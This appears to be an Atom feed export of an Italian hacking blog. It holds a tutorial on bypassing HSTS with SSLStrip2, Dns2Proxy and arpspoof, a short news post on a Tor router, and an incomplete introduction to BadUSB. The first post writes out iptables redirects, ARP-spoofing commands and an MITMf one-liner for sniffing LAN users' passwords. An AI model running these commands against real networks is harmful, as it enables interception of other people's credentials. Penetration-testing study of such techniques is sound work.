<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7963577105298262429</id><updated>2026-03-23T19:17:20.251+01:00</updated><category term="hacking"/><category term="Novità"/><category term="cracking"/><category term="sicurezza"/><category term="phreaking"/><category term="free"/><category term="Giochi"/><category term="Exploit"/><category term="Software"/><category term="web"/><category term="News"/><category term="vulnerabilità"/><category term="lamer"/><category term="pen testing"/><category term="pentesting"/><title type='text'>DuxHack</title><subtitle type='html'>Un blog che parla di hacking, phreaking e cracking, giochi, sicurezza informatica  e infine di novita&#39; e curiosita&#39; informatiche</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>107</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-2661177007078859272</id><published>2015-03-29T15:53:00.001+02:00</published><updated>2015-03-29T16:20:36.629+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="sicurezza"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilità"/><title type='text'>SSLStrip 2, come bypassare HSTS</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNw8y-VjoQctXSOrD38B_hexegdNN8l7SyjqCLWSN594m3YDt8ahnS2HxGsu9y1zTVwznzrTB7KxIE7QN2Soyj8FZ6xe4EJdRAez0WrY9dEygZ6dLNlPBYpLud5PAzAcsbPPCXzqN85fu/s1600/offensive-exploiting-dns-servers-changes-blackhat-asia-2014-21-638.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNw8y-VjoQctXSOrD38B_hexegdNN8l7SyjqCLWSN594m3YDt8ahnS2HxGsu9y1zTVwznzrTB7KxIE7QN2Soyj8FZ6xe4EJdRAez0WrY9dEygZ6dLNlPBYpLud5PAzAcsbPPCXzqN85fu/s1600/offensive-exploiting-dns-servers-changes-blackhat-asia-2014-21-638.jpg&quot; height=&quot;480&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
Tutti quelli che sono interessati da qualche anno al penetration testing avranno sicuramente sentito parlare del famoso programma &quot;&lt;a href=&quot;http://www.thoughtcrime.org/software/sslstrip/&quot;&gt;SSLStrip&lt;/a&gt;&quot;, ma facciamo un piccolo ripassino.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Circa 6 anni fa, alla&lt;a href=&quot;https://www.youtube.com/watch?v=MFol6IMbZ7Y&quot;&gt; BlackHAT Conference del 2009&lt;/a&gt;, e&#39; stato presentato SSLStrip, un tool scritto in python che sostituiva tutti i link &quot;https&quot; con link &quot;http&quot;, permettendo quindi ad un attaccante, di sniffare tranquillamente le password delle vittime sulla sua rete LAN.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Per ovviare a questo problema, circa 3 anni fa è stata trovata come soluzione, l&#39;implementazione di una nuova &quot;Security Policy&quot; chiamata &quot;&lt;b&gt;H&lt;/b&gt;ttp&amp;nbsp;&lt;b&gt;S&lt;/b&gt;trict&amp;nbsp;&lt;b&gt;T&lt;/b&gt;ransport&amp;nbsp;&lt;b&gt;S&lt;/b&gt;ecurity&quot;, che impedisce al browser di connettersi alle pagine non criptate, rendendo inutile SSLStrip e tutte le altre tecniche utilizzate fino a quel momento. Tutti i principali server, ad oggi, utilizzano questo nuovo metodo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Negli ultimi mesi però, gli esperti di sicurezza hanno ricominciato a far sentire la loro voce e a trovare nuovi metodi per fronteggiare questa nuova protezione, sfornando in poco tempo due nuove tecniche.&lt;/div&gt;
&lt;div&gt;
La prima, la meno conosciuta ed efficace, sarebbe quella di effettuare un attacco MITM alle comunicazioni del protocollo NTP (&lt;b&gt;N&lt;/b&gt;etwork &lt;b&gt;T&lt;/b&gt;ime &lt;b&gt;P&lt;/b&gt;rotocol). Infatti, come tutti sappiamo, i sistemi operativi hanno la possibilità&#39; di sincronizzare l&#39;ora con quella di internet, e fanno questo tramite il protocollo NTP. Esistono numerose versioni di questo protocollo, e la maggior parte dei sistemi implementa versioni vecchie, che non supportano ancora una comunicazione criptata.&lt;/div&gt;
&lt;div&gt;
L&#39;attacco in se, funziona intercettando la comunicazione tra la vittima e il server che restituisce l&#39;ora al protocollo, e fornendo alla vittima una data ed un ora simili (ovvero viene cambiato solo l&#39;anno; il giorno, il numero e il mese rimangono invariati, così che non sia evidente il cambiamento), che però portino alla data di scadenza del certificato HSTS.&lt;/div&gt;
&lt;div&gt;
Per effettuare questo attacco, il programma più comunemente usato si chiama &lt;a href=&quot;https://github.com/PentesterES/Delorean&quot;&gt;Delorean&lt;/a&gt;, un tool in python che non approfondirò in questo articolo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;** IL NUOVO METODO&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Il secondo metodo, nonché il più recente ed accreditato, è quello utilizzato dalla &quot;nuova versione&quot; di SSLStrip, ovvero &lt;a href=&quot;https://github.com/LeonardoNve/sslstrip2&quot;&gt;SSLStrip 2&lt;/a&gt;, un nuovo script in python scritto da &lt;a href=&quot;https://github.com/LeonardoNve/&quot;&gt;LeonardoNve&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
Ho utilizzato le virgolette nel definirlo una nuova versione, perché utilizza una tecnica completamente diversa, pensata proprio per ovviare a tutti i problemi legati alle nuove protezioni, e basata su un vero e proprio DNS spoofing.&lt;br /&gt;
&lt;br /&gt;
Basandosi, infatti, su questo tipo di attacco MITM, può eludere non solo la protezione HSTS, grazie al fatto che, l&#39;attaccante si connetterà al nostro dns, quindi in linea teorica al nostro sito web non protetto da quella policy, ma anche dai noiosi avvisi di sicurezza legati alla scadenza del certificato SSL del sito!&lt;br /&gt;
Il tutto in modo ancora più sicuro per l&#39;attaccante, poiché, come mostrato nell&#39;immagine, tramite il tool &lt;a href=&quot;https://github.com/LeonardoNve/dns2proxy&quot;&gt;Dns2Proxy&lt;/a&gt;&amp;nbsp;potremmo ottenere un dns server proxato, in modo da evitare (in parte) anche la possibilità di essere scoperti.&lt;br /&gt;
Ora che avete (spero) capito il funzionamento generale del programma, passiamo alla pratica, con Kali&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;** COME UTILIZZARLO&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
Prima di tutto, assicuriamoci di avere il sistema in ordine, eseguendo un controllo sugli update &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;apt-get update&lt;/span&gt;&lt;br style=&quot;background-color: #fafaff; line-height: 16.7999992370605px;&quot; /&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;apt-get upgrade&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/blockquote&gt;
Ora scarichiamo i due tool già citati, ovvero &lt;a href=&quot;https://github.com/LeonardoNve/sslstrip2&quot;&gt;SSLStrip2&lt;/a&gt; e &lt;a href=&quot;https://github.com/LeonardoNve/dns2proxy&quot;&gt;Dns2Proxy&lt;/a&gt;, estraiamoli dai rispettivi archivi, e spostandoci nella cartella di sslstrip2 tramite terminale. Installiamolo digitando:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;&lt;i&gt;python setup.py install&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
Fatto questo, iniziamo ad abilitare l&#39;Ip Forwarding e settare le varie direttive iptables per garantirne il funzionamento:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;&lt;i&gt;echo &quot;1&quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br style=&quot;background-color: #fafaff; line-height: 16.7999992370605px;&quot; /&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;iptables --flush&lt;/span&gt;&lt;br style=&quot;background-color: #fafaff; line-height: 16.7999992370605px;&quot; /&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;iptables --flush -t nat&lt;/span&gt;&lt;br style=&quot;background-color: #fafaff; line-height: 16.7999992370605px;&quot; /&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8000&lt;/span&gt;&lt;br style=&quot;background-color: #fafaff; line-height: 16.7999992370605px;&quot; /&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;
&lt;/blockquote&gt;
&lt;/div&gt;
&lt;div&gt;
Ora, può iniziare effettivamente l&#39;attacco. Spostandoci nella directory di dns2proxy e lanciamolo digitando:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;b&gt;&lt;i&gt;python dns2proxy -i &amp;lt;interface&amp;gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
E&#39; necessario specificare l&#39;interfaccia nel caso non sia quella di default, ovvero la eth0.&lt;br /&gt;
Quindi lanciamo anche sslstrip2 in ascolto sulla porta 8000:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;sslstrip -l 8000 -a&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
Infine, utilizziamo arpspoof per intercettare i dati:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&lt;i&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span 16.7999992370605px=&quot;&quot; line-height:=&quot;&quot;&gt;arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;victim ip&amp;gt; &amp;lt;gateway ip&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;
Noterete sicuramente che l&#39;attacco non sarà perfetto, infatti è probabile che qualche sito riesca lo stesso a mantenere la connessione sicura mentre altri siti causeranno un errore nel programma, che non riuscirà a collegarsi al DNS reale del sito. Comunque sia avendo un buon margine di successo ci potremo ritenere soddisfatti.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;** CONCLUSIONI E CONSIGLI&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
I &quot;problemi&quot; di questo attacco saranno principalmente due:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Il procedimento è un po lungo e noioso (non è un gran problema ma....)&lt;/li&gt;
&lt;li&gt;Il target di questo attacco è solo uno&lt;/li&gt;
&lt;/ol&gt;
Per ovviare al primo problema, è stato già scritto uno script bash che ci automatizza il lavoro, se opportunamente settato, e scaricabile da &lt;a href=&quot;https://gist.github.com/xaitax/03601c36be8e22207b94&quot;&gt;QUA&lt;/a&gt;&lt;br /&gt;
Infine, per premiare chi è arrivato a leggere fino a qua, senza scappare subito su kali, consiglio di gran lunga di utilizzare il nuovo framework per gli attacchi man-in-the-middle, chiamato &lt;a href=&quot;https://github.com/byt3bl33d3r/MITMf&quot;&gt;MITMF&lt;/a&gt;.&lt;br /&gt;
Infatti, è stata da poco integrata la funzione per il bypassing di hsts tramite un plug-in configurato per utilizzare SSLStrip2. Tramite questo framework potremo, con un semplice comando, risolvere anche il secondo problema, poichè lanciando il comando:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;i&gt;&lt;b&gt;mitmf -i &amp;lt;interface&amp;gt; --arp --spoof --hsts --gateway &amp;lt;gateway&amp;gt;&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;
Effettueremo un arp spoofing, bypassando hsts e (non specificando il target) su tutti i client connessi alla rete.&lt;br /&gt;
Per finire vi consiglio di spulciarvi per bene le numerose funzioni di mitmf e dare un occhiata ai link qua sotto.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #cc0000;&quot;&gt;&lt;b&gt;** LINKS UTILI&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.blackhat.com/docs/eu-14/materials/eu-14-Selvi-Bypassing-HTTP-Strict-Transport-Security-wp.pdf&quot;&gt;BYPASSING HSTS TRAMITE NTP MITM&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://www.youtube.com/watch?v=Q3siIqS9LVA&quot;&gt;EXPLOITING DNS SERVERS CHANGES BLACKHAT 2014&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014&quot;&gt;SLIDE DELLA CONFERENZA&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/2661177007078859272/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2015/03/sslstrip-2-come-bypassare-hsts.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2661177007078859272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2661177007078859272'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2015/03/sslstrip-2-come-bypassare-hsts.html' title='SSLStrip 2, come bypassare HSTS'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVNw8y-VjoQctXSOrD38B_hexegdNN8l7SyjqCLWSN594m3YDt8ahnS2HxGsu9y1zTVwznzrTB7KxIE7QN2Soyj8FZ6xe4EJdRAez0WrY9dEygZ6dLNlPBYpLud5PAzAcsbPPCXzqN85fu/s72-c/offensive-exploiting-dns-servers-changes-blackhat-asia-2014-21-638.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-1188612894629740734</id><published>2014-10-20T19:12:00.003+02:00</published><updated>2014-10-20T19:23:01.188+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="News"/><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><category scheme="http://www.blogger.com/atom/ns#" term="sicurezza"/><title type='text'>AnonaBox, la soluzione al problema dell&#39;anonimato</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiupAxydUfkQ-QtXAcgANHyM3c3OJGLoR0wEyedZro8TR6oQHnftaDtYvX46jBDwdZ5l-qNYOy7Kl60MxqdDl024Ac40IvR9YsWeRwrjfGsVm8GAXkz9SLCjkr2jyTrvjiF0i2wH5S6DAzN/s1600/112441444-eac94a66-72e6-4ba0-826a-e581568510e8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiupAxydUfkQ-QtXAcgANHyM3c3OJGLoR0wEyedZro8TR6oQHnftaDtYvX46jBDwdZ5l-qNYOy7Kl60MxqdDl024Ac40IvR9YsWeRwrjfGsVm8GAXkz9SLCjkr2jyTrvjiF0i2wH5S6DAzN/s1600/112441444-eac94a66-72e6-4ba0-826a-e581568510e8.jpg&quot; height=&quot;223&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Anonabox è un progetto completamente open source nato dalla sempre più crescente esigenza di anonimato sul web.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;
A livello funzionale, questa scatoletta filtra &lt;b&gt;OGNI TIPO DI COMUNICAZIONE&lt;/b&gt; tra il computer e internet, attraverso la famigerata rete &lt;b&gt;TOR.&lt;/b&gt;&amp;nbsp;Il che vuol dire che non avrete un semplice browser che filtra le comunicazioni http, come fa il tor browser, bensì un filtraggio totale su tutti i protocolli di rete.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Il tutto supportato da un altro software open source ben noto, ovvero OpenWRT, che insieme all&#39;ottimo comparto hardware che vede una CPU MT7620n 32bit 580MHz e una RAM da 64Mb, permetteranno a tor di fare il suo lavoro senza troppi problemi di velocità (aspettiamo l&#39;uscita a dirlo).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;
Ma questo non è tutto, poichè questo piccolo aggeggino possiede anche un protocollo wifi, protetto da WEP/WPA/WPA2, che ci permetterà di collegarci alla rete protetta anche da un qualunque client wifi, non dovendo badare a nessuna configurazione proxy.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;
Circa 2 giorni fa Anonabox ha chiuso la campagna su kickstarter, (il noto sito di crowdfunding) e si appresta a iniziare i lavori di produzione, quindi a breve avremo la possibilità di utilizzare questo fantastico prodotto. In ogni caso, vi terrò aggiornati sulla data di uscita.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router&quot;&gt;Campagna kickstarter&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;a href=&quot;http://anonabox.com/home.php&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Anonabox site&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;iframe frameborder=&quot;0&quot; height=&quot;360&quot; scrolling=&quot;no&quot; src=&quot;https://www.kickstarter.com/projects/augustgermar/anonabox-a-tor-hardware-router/widget/video.html&quot; width=&quot;480&quot;&gt; &lt;/iframe&gt;&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Arial, Helvetica, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
A presto</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/1188612894629740734/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2014/10/anonabox-la-soluzione-al-problema.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1188612894629740734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1188612894629740734'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2014/10/anonabox-la-soluzione-al-problema.html' title='AnonaBox, la soluzione al problema dell&#39;anonimato'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiupAxydUfkQ-QtXAcgANHyM3c3OJGLoR0wEyedZro8TR6oQHnftaDtYvX46jBDwdZ5l-qNYOy7Kl60MxqdDl024Ac40IvR9YsWeRwrjfGsVm8GAXkz9SLCjkr2jyTrvjiF0i2wH5S6DAzN/s72-c/112441444-eac94a66-72e6-4ba0-826a-e581568510e8.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-7330825011009603299</id><published>2014-10-18T12:09:00.000+02:00</published><updated>2014-10-18T12:09:24.645+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="sicurezza"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilità"/><title type='text'>BadUSB cos&#39;è e come utilizzarlo</title><content type='html'>&lt;div dir=&quot;ltr&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCl30Srb31hLeS9ZDIYj2U9r222aA8Xi1vRiHHXZQYGsX01t6CShT9ZO42kvhDNyX_2PhLUOE2KSnY5g591dUWBSuwHqJzegkXwqWSxLMTScrRkuqhZsmtHIdRpWhDw1a9hZVIz5Mkhns/s1600/BadUsb.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgCl30Srb31hLeS9ZDIYj2U9r222aA8Xi1vRiHHXZQYGsX01t6CShT9ZO42kvhDNyX_2PhLUOE2KSnY5g591dUWBSuwHqJzegkXwqWSxLMTScrRkuqhZsmtHIdRpWhDw1a9hZVIz5Mkhns/s1600/BadUsb.jpg&quot; height=&quot;236&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Dopo un anno dall&#39;ultimo post, ho intenzione di ricominciare a scrivere su questo blog al fine di stimolare me stesso a restare sempre aggiornato sulle ultime novità del mondo dell&#39;underground!&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Quello di cui voglio parlare oggi è l&#39;argomento che sta facendo scalpore nell&#39;ultimo mese e che ha fatto la sua comparsa in scena nell&#39;agosto 2014, (poco prima di essere completamente sovrastato dall&#39;apparizione di ShellShock) ovvero &quot;BadUSB&quot;!&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Come qualcuno di voi sicuramente saprà, si è parlato molto della scoperta di questa falla nelle periferiche USB che permetterebbe di sfruttare una &lt;b&gt;riprogrammazione del firmware&lt;/b&gt; dell&#39;USB 3.0 e inferiore, per poter manipolare l&#39;identificazione da parte del nostro computer, della natura dell&#39;USB.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Detto in parole semplici: come tutti sappiamo, nelle porte USB ci possono andare WebCam, periferiche audio, video, hard disk e quant&#39;altro. Questa riprogrammazione del firmware di una pennetta USB ci permette di fare in modo che il nostro pc, quando inseriamo la periferica, la riconosca come una tastiera o come una webcam in modo da poter avere accesso ai driver di una periferica a nostro piacere, tramite un&#39; apparentemente innocua chiave usb.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Ciò che ha fatto riparlare i media recentemente, è il rilascio del proof-of-concept, da parte degli scopritori della falla. Insieme ad esso però è stata anche rilasciata una patch dagli stessi creatori&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;che,&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;anche se&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&amp;nbsp;non è assolutamente una soluzione definitiva,&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&amp;nbsp;impedirebbe l&#39;attacco sui pc, poichè andrebbe a disabilitare la boot mode automatica dell&#39;USB 3.0&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nel portale GitHub dove è presente il PoC (linkato in seguito), sono presenti tutti i file necessari all&#39;installazione del BadUSB su una pennetta USB, correlati di una guida e il supporto da parte dei creatori, in caso di problemi!&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot;&gt;
